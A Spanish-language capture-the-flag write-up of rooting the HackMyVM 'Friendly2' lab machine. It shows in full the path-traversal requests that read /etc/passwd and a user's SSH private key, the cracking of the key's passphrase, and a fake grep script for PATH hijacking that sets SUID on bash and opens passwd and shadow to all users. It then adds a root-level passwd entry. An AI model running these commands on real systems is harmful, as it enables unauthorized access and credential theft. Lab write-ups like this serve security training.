

Write-Up/Explicación paso a paso de Hackeo y Rooteo a Máquina Virtual Friendly2– Plataforma HackMyVM



DISCLAIMER (Autorización y alcance):

1. **Ámbito del informe:**

Este informe describe exclusivamente las actividades de evaluación de seguridad realizadas sobre la **máquina virtual “Friendly2”** alojada en la plataforma **HackMyVM**, en un entorno de laboratorio/CTF controlado. Todas las pruebas se realizaron con un alcance limitado al sistema indicado y bajo las condiciones definidas por la plataforma.

2. **Propósito:**

El propósito del ejercicio es **educativo** y de investigación: identificar vectores de ataque, demostrar posibles impactos y proponer medidas de mitigación. No pretende explotar vulnerabilidades en sistemas ajenos ni causar daño.

3. **Autorización:**

Las técnicas y pruebas documentadas aquí deben ser aplicadas **únicamente** en sistemas para los que se disponga de **autorización explícita y por escrito** del propietario. La reproducción de estas pruebas en equipos o redes que no te pertenezcan, o sin permiso, es **ilegal y poco ética**.

4. **Limitaciones y responsabilidad:**

Ni el autor ni la institución/entidad que lo respalde asumen responsabilidad por el uso indebido del contenido de este informe. Cualquier acción realizada fuera del alcance de autorización corre por cuenta exclusiva del actor que la ejecute.

RECONOCIMIENTO DE HOST EN RED LOCAL

Currently scanning: Finished! | Screen View: Unique Hosts

18 Captured ARP Req/Rep packets, from 14 hosts. Total size: 1080

IP	At MAC Address	Count	Len	MAC Vendor / Hostname
192.168.1.1	c4:a3:66:d0:6a:1a	1	60	zte corporation
192.168.1.140	d8:5e:d3:e2:37:8f	5	300	GIGA-BYTE TECHNOLOGY CO.,LTD.
192.168.1.128	38:18:4c:d9:4d:bd	1	60	Sony Home Entertainment&Sound Products In
192.168.1.130	4c:4a:48:07:6f:fe	1	60	Unknown vendor
192.168.1.139	4c:4a:48:07:6f:fe	1	60	Unknown vendor
192.168.1.144	84:7b:57:62:bd:a3	1	60	Intel Corporate
192.168.1.151	08:00:27:0c:8f:a4	1	60	PCS Systemtechnik GmbH
192.168.1.130	08:6f:48:42:dd:22	1	60	Shenzhen iComm Semiconductor CO.,LTD
192.168.1.139	08:6f:48:42:dd:22	1	60	Shenzhen iComm Semiconductor CO.,LTD
192.168.1.131	04:c4:61:9d:9c:08	1	60	Murata Manufacturing Co., Ltd.
192.168.1.132	e0:e2:e6:52:f0:3c	1	60	Espressif Inc.
192.168.1.133	e0:4b:a6:4a:eb:c9	1	60	HUAWEI TECHNOLOGIES CO.,LTD
192.168.1.135	fc:02:96:26:cd:99	1	60	Xiaomi Communications Co Ltd
192.168.1.136	9c:e0:63:b0:8c:27	1	60	Samsung Electronics Co.,Ltd

ESCANEEO INICIAL CON NMAP

Lanzamos nmap para descubrir que puertos podría tener abiertos la máquina víctima

```
(root@kali)-[/home/phoenixx/Escritorio/friend2]
# nmap -sS -p- --open -vvv -n -Pn -oN allPorts 192.168.1.151
Host discovery disabled (-Pn). All addresses will be marked 'up' and scan times may be slower.
Starting Nmap 7.98 ( https://nmap.org ) at 2026-02-18 15:46 +0100
Initiating ARP Ping Scan at 15:46
Scanning 192.168.1.151 [1 port]
Completed ARP Ping Scan at 15:46, 0.03s elapsed (1 total hosts)
Initiating SYN Stealth Scan at 15:46
Scanning 192.168.1.151 [65535 ports]
Discovered open port 80/tcp on 192.168.1.151
Discovered open port 22/tcp on 192.168.1.151
Completed SYN Stealth Scan at 15:46, 2.37s elapsed (65535 total ports)
Nmap scan report for 192.168.1.151
Host is up, received arp-response (0.00022s latency).
Scanned at 2026-02-18 15:46:24 CET for 3s
Not shown: 65533 closed tcp ports (reset)
PORT      STATE SERVICE REASON
22/tcp    open  ssh     syn-ack ttl 64
80/tcp    open  http    syn-ack ttl 64
MAC Address: 08:00:27:0C:8F:A4 (Oracle VirtualBox virtual NIC)

Read data files from: /usr/share/nmap
Nmap done: 1 IP address (1 host up) scanned in 2.48 seconds
Raw packets sent: 65536 (2.884MB) | Rcvd: 65536 (2.621MB)
```

ESCANEEO EXHAUSTIVO NMAP

Para ver los servicios y la versión de los mismo que corren por los puertos que se encuentran abiertos:

```

PORT      STATE SERVICE REASON          VERSION
22/tcp    open  ssh      syn-ack ttl 64 OpenSSH 8.4p1 Debian 5+deb11u1 (protocol 2.0)
| ssh-hostkey:
|   3072 74:fd:f1:a7:47:5b:ad:8e:8a:31:02:fe:44:28:9f:d2 (RSA)
| ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAQGCzieRbxwFRD6zu0r0mgPocWFr6Ufu9oCq0lt/Da5dqgRIZwctsaB6P5
jQX5cl5qhBseWQX3XIqPt+4DzRILCiMZSm9J8dnC0KEe14a8vkSfgV7Zn7xG0aw9R+KldazraLdT3zlzVuvjZjItIBjnA9t
2vDYL9y/t53XIs+FA0XzoBc2A5gxxVBe7sMsuQCSF0Jw0z5Qf11Zj9si//6WG2KfihR7rKLEIfgeGFGvnIlw88HT6sZQGT6
/nsNs1pWWwo/q+HxyAAS3WjCrkd1xMf92KMs1yheQHKUGNxV/zVuTbt9puXnVhIZGzzhsE=
|   256 16:f0:de:51:09:ff:fc:08:a2:9a:69:a0:ad:42:a0:48 (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBFE+bBFz/3QsD9M4Nt6is
=
|   256 65:0e:ed:44:e2:3e:f0:e7:60:0c:75:93:63:95:20:56 (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIKxSz6doeuMiydUVbE7ZwrpP8GW46iJYY3JxJPcNuvnA
80/tcp    open  http      syn-ack ttl 64 Apache httpd 2.4.56 ((Debian))
| http-methods:
|_Supported Methods: OPTIONS HEAD GET POST
|_http-server-header: Apache/2.4.56 (Debian)
|_http-title: Servicio de Mantenimiento de Ordenadores
MAC Address: 08:00:27:0C:8F:A4 (Oracle VirtualBox virtual NIC)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

```

Accedemos al puerto 80 de la máquina y encontramos lo siguiente:



Inspeccionamos el código fuente de la página pero no encontramos nada, por lo que decidimos hacer un fuzzing de directorios y de archivos con wfuzz

```

(root@kali)~/home/phenixx/Escritorio/friend2
$ wfuzz -c --hc=404,401 -t 20 -u http://192.168.1.151/FUZZ -w /usr/share/wordlists/dirbuster/directory-list-lowercase-2.3-medium.txt --hl=91
/usr/lib/python3/dist-packages/wfuzz/_init_.py:34: UserWarning:Pycurl is not compiled against Openssl. Wfuzz might not work correctly when f
Check Wfuzz's documentation for more information.
*****
* Wfuzz 3.1.0 - The Web Fuzzer
*
*****
Target: http://192.168.1.151/FUZZ
Total requests: 207643

=====
ID           Response  Lines  Word    Chars  Payload
=====
000000121:  301       9 L    28 W    314 Ch  "tools"
000000287:  301       9 L    28 W    315 Ch  "assets"

```

Dentro del directorio tools, si accedemos al código fuente tenemos un comentario que nos descubre un recurso php


```
← → ↻ 🏠 Not Secure view-source:http://192.168.1.151/tools/ 🔍 ☆ ⓘ 📁 ☰
OffSec Kali Linux Kali Tools Kali Docs Kali Forums Kali NetHunter Exploit-DB Google Hacking DB

1 <!DOCTYPE html>
2 <html>
3
4 <head>
5 <meta charset="UTF-8">
6 <title>Sistema de herramientas</title>
7 <style>
8 h1{text-align: center;}
9 </style>
10 </head>
11
12 <body>
13 <h1 text-align="center">  INFORMACIÓN PRIVADA  </h1>
14 <div>
15 <p> Toda la información de esta página está catalogada con un nivel de confidencialidad 4, esta información no deberá ser envidada
16 </div>
17
18 <div>
19 <h2> To do: </h2>
20 <ul>
21 <li> Añadir imágenes a la web principal. </li>
22 <li> Añadir tema oscuro </li>
23 <li> Traducir la página al inglés / translate the page into English. 😊</li>
24 <!-- Redimensionar la imagen en check_if_exist.php?doc=keyboard.html -->
25 </ul>
26 </div>
27 </body>
28
29 </html>
30
```

Así que apuntamos a dicho recurso el cual apunta a otro recurso que existe, por lo que vamos a hacer con curl una petición a este recurso, para ver si podemos explotar un LFI y listar archivos de la máquina víctima.

```
(root@kali) - [ /home/phoenix/Escritorio/friend2 ]
# curl -sX GET "http://192.168.1.151/tools/check_if_exist.php?doc=file:///../../../../../../../../etc/passwd"
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin)/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
_apt:x:100:65534::/nonexistent:/usr/sbin/nologin
systemd-network:x:101:102:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin
systemd-resolve:x:102:103:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin
systemd-timesync:x:999:999:systemd Time Synchronization:/usr/sbin/nologin
systemd-coredump:x:998:998:systemd Core Dumper:/usr/sbin/nologin
messagebus:x:103:109::/nonexistent:/usr/sbin/nologin
sshd:x:104:65534::/run/ssh:/usr/sbin/nologin
ghost:x:1001:1001::/home/ghost:/bin/bash
```

No hace falta poner el wrapper de file, pero tampoco pasa nada si lo incluimos. Lo que acabamos de explotar es un LFI mediante una técnica que se llama path traversal. Pudiendo listar contenidos de la máquina objetivo y sabiendo que el protocolo SSH está activado una de las cosas que deberíamos comprobar es si se puede listar el contenido del archivo /home/usuarioEnCuestión/.ssh/id_rsa y lista la clave para conectarnos por SSH

```
(root@kali)-[/home/phenixx/Escritorio/friend2]
# curl -sX GET "http://192.168.1.151/tools/check_if_exist.php?doc-file://../../../../../home/gh0st/.ssh/id_rsa"
-----BEGIN OPENSSH PRIVATE KEY-----
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
9tDhjVw3oagRmc3R03zfIwbPINo=
-----END OPENSSH PRIVATE KEY-----
```

Efectivamente el archivo lo podemos lista y enviar a nuestro propio archivo, pero al utilizarlo, nos damos cuenta de que tiene passphrase, una especie de contraseña, la cual podemos romper utilizando primero la herramienta ssh2john y luego john para adivinar esa passphrase y poder conectarnos.

```
(root@kali)-[/home/phenixx/Escritorio/friend2]
# ssh -i id_rsa gh0st@192.168.1.151
** WARNING: connection is not using a post-quantum key exchange algorithm.
** This session may be vulnerable to "store now, decrypt later" attacks.
** The server may need to be upgraded. See https://openssh.com/pq.html
Enter passphrase for key 'id_rsa':
```

```
(root@kali)-[/home/phenixx/Escritorio/friend2]
# ssh2john id_rsa > rsa_hash
```

```
(root@kali)-[/home/phenixx/Escritorio/friend2]
# john --wordlist=/usr/share/wordlists/rockyou.txt rsa_hash
Using default input encoding: UTF-8
Loaded 1 password hash (SSH, SSH private key [RSA/DSA/EC/OPENSSH 32/64])
Cost 1 (KDF/cipher [0=MD5/AES 1=MD5/3DES 2=Bcrypt/AES]) is 2 for all loaded hashes
Cost 2 (iteration count) is 16 for all loaded hashes
Will run 4 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
celtic (id_rsa)
1g 0:00:00:05 DONE (2026-02-18 16:20) 0.1694g/s 43.38p/s 43.38c/s 43.38C/s tiffany..freedom
Use the "--show" option to display all of the cracked passwords reliably
Session completed.
```


Una vez tenemos la `id_rsa` y la `passphrase`, nos conectamos por SSH a la máquina víctima como el usuario `gh0st`.

```
(root@kali)-[/home/phoenixx/Escritorio/friend2]
# ssh -i id_rsa gh0st@192.168.1.151
** WARNING: connection is not using a post-quantum key exchange algorithm.
** This session may be vulnerable to "store now, decrypt later" attacks.
** The server may need to be upgraded. See https://openssh.com/pq.html
Enter passphrase for key 'id_rsa':
Linux friendly2 5.10.0-21-amd64 #1 SMP Debian 5.10.162-1 (2023-01-21) x86_64

The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
gh0st@friendly2:~$
```

ESCALADA DE PRIVILEGIOS

Después de probar varias cosas, lo que descubrí es que al hacer `sudo -l` para acceder a los comandos que se podían ejecutar como otro usuario:

```
gh0st@friendly2:~$ sudo -l
Matching Defaults entries for gh0st on friendly2:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User gh0st may run the following commands on friendly2:
    (ALL : ALL) SETENV: NOPASSWD: /opt/security.sh
```

Lo que tenemos es un script que se puede ejecutar con permisos de todos los usuarios, lo cual quiere decir que podríamos utilizar `sudo -u root` para utilizarlo como `root`, vamos a leer el script para ver si contiene algo interesante...

```
gh0st@friendly2:~$ cat /opt/security.sh
#!/bin/bash

echo "Enter the string to encode:"
read string

# Validate that the string is no longer than 20 characters
if [[ ${#string} -gt 20 ]]; then
    echo "The string cannot be longer than 20 characters."
    exit 1
fi

# Validate that the string does not contain special characters
if echo "$string" | grep -q '^[[:alnum:]]'; then
    echo "The string cannot contain special characters."
    exit 1
fi

sus1='A-Za-z'
sus2='N-ZA-Mn-za-m'

encoded_string=$(echo "$string" | tr $sus1 $sus2)

echo "Original string: $string"
echo "Encoded string: $encoded_string"
```

Este script tiene un fallo bastante crítico, y que llama a un binario de forma relativa, en este caso utiliza `grep`, así que se puede intentar un `PATH HIJACKING` para secuestrar la ruta donde se buscan

los binarios ejecutables por orden y poner en primer lugar una ruta que controlemos (podemos crear un binario con el mismo nombre y poner lo que nosotros queramos).

Bien, para ello nos desplazamos al directorio en el que tendremos los máximos permisos para crear archivos, el directorio /tmp.

Allí vamos a crear un archivo de texto (un script en bash) que se llame grep y podemos hacer varias cosas, vamos a explorar varias posibilidades.

```
GNU nano 5.4
#!/bin/bash

chmod u+s /bin/bash
chmod 777 /etc/passwd
chmod 777 /etc/shadow
```

En primer lugar, podemos agregar SUID al binario de /bin/bash para que al utilizarlo, en su contexto de ejecución seamos el mismo usuario que tiene la posesión:

```
gh0st@friendly2:/tmp$ ls -l /bin/bash
-rwxr-xr-x 1 root root 1234376 Mar 27 2022 /bin/bash
```

Bash pertenece a root, por lo que si se llegara a ejecutar dicho script se le aplicaría el permiso 4000 a dicho binario.

Por otra parte, una técnica más ruidosa es darle privilegios totales a todos los usuarios de archivos críticos como son /etc/passwd y /etc/shadow, en estos archivos podemos cambiar directamente la contraseña de cualquier usuario (incluso de root).

Bien, vamos a ejecutar el PATH HIJACKING para ello lo podemos hacer dentro de la misma instrucción donde invocamos el script con permisos de root

Le damos permisos de ejecución al grep falso y ejecutamos:

```
gh0st@friendly2:/tmp$ chmod +x grep
gh0st@friendly2:/tmp$ sudo -u root PATH=/tmp:$PATH /opt/security.sh
Enter the string to encode:
QA
The string cannot contain special characters.
```

Ahora podremos observar que todo lo que pusimos en el grep falso se ha cumplido, SUID en el binario de bash, 777 en passwd y shadow

```
gh0st@friendly2:/tmp$ ls -l /bin/bash
-rwsr-xr-x 1 root root 1234376 Mar 27 2022 /bin/bash
gh0st@friendly2:/tmp$ ls -l /etc/passwd
-rwxrwxrwx 1 root root 1369 Apr 27 2023 /etc/passwd
gh0st@friendly2:/tmp$ ls -l /etc/shadow
-rwxrwxrwx 1 root shadow 868 Apr 27 2023 /etc/shadow
gh0st@friendly2:/tmp$
```

Como había explicado anteriormente, la técnica menos ruidosa ahora mismo es invocar una bash, con la opción -p

```
gh0st@friendly2:/tmp$ bash -p
bash-5.1# whoami
root
bash-5.1#
```

ROOT CONSEGUIDO

También me gustaría explicar las otras dos maneras, son muy parecidas, vamos a modificar el contenido de los archivos /etc/passwd siendo usuario no privilegiado (esto muy crítico), porque básicamente podemos cambiar la contraseña directamente al usuario administrado.

En el archivo passwd se pueden colocar las contraseñas en el segundo hueco (donde está la x), pero tiene que ir en formato hash, bien listamos el /etc/passwd:

```
gh0st@friendly2:/tmp$ cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
_apt:x:100:65534::/nonexistent:/usr/sbin/nologin
systemd-network:x:101:102:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin
systemd-resolve:x:102:103:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin
systemd-timesync:x:999:999:systemd Time Synchronization:/usr/sbin/nologin
systemd-coredump:x:998:998:systemd Core Dumper:/usr/sbin/nologin
messagebus:x:103:109::/nonexistent:/usr/sbin/nologin
sshd:x:104:65534::/run/sshd:/usr/sbin/nologin
gh0st:x:1001:1001::/home/gh0st:/bin/bash
```

Como tiene privilegios 777 podemos modificarlos con nano, lo que vamos a hacer es copiar la línea de root y nombrarlo como root 2 y en el hueco de la x donde se supone que tendría que ir la contraseña, le quitamos la x y en nuestra máquina atacante generamos un hash con openssl (por ejemplo en formato MD5 y lo pegamos directamente.

```
(root@kali)-[/home/phoenixx]
# openssl passwd -1 Password1
$1$Zg83lRDT$ZqNkNVpdU2knFNkWLLXu80
```

La nueva entrada en passwd quedaría así:

```
root2:$1$Zg83lRDT$ZqNkNVpdU2knFNkWLLXu80:0:0:root:/root:/bin/bash
```

Bien pues si ahora ejecutamos un su root2 e introducimos la contraseña, obtendremos el cambio a root:


```
ghost@friendly2:/tmp$ su root2
Password:
root@friendly2:/tmp# whoami
root
root@friendly2:/tmp# █
```

ROOT CONSEGUIDO

La última forma es muy similar a la anterior pero modificando directamente la entrada en /etc/shadow, sustituimos una contraseña que tenga root por una creada y listo, aunque debermos utilizar openssl passwd -tipohash (1,5,6) -salt frase contraseña :)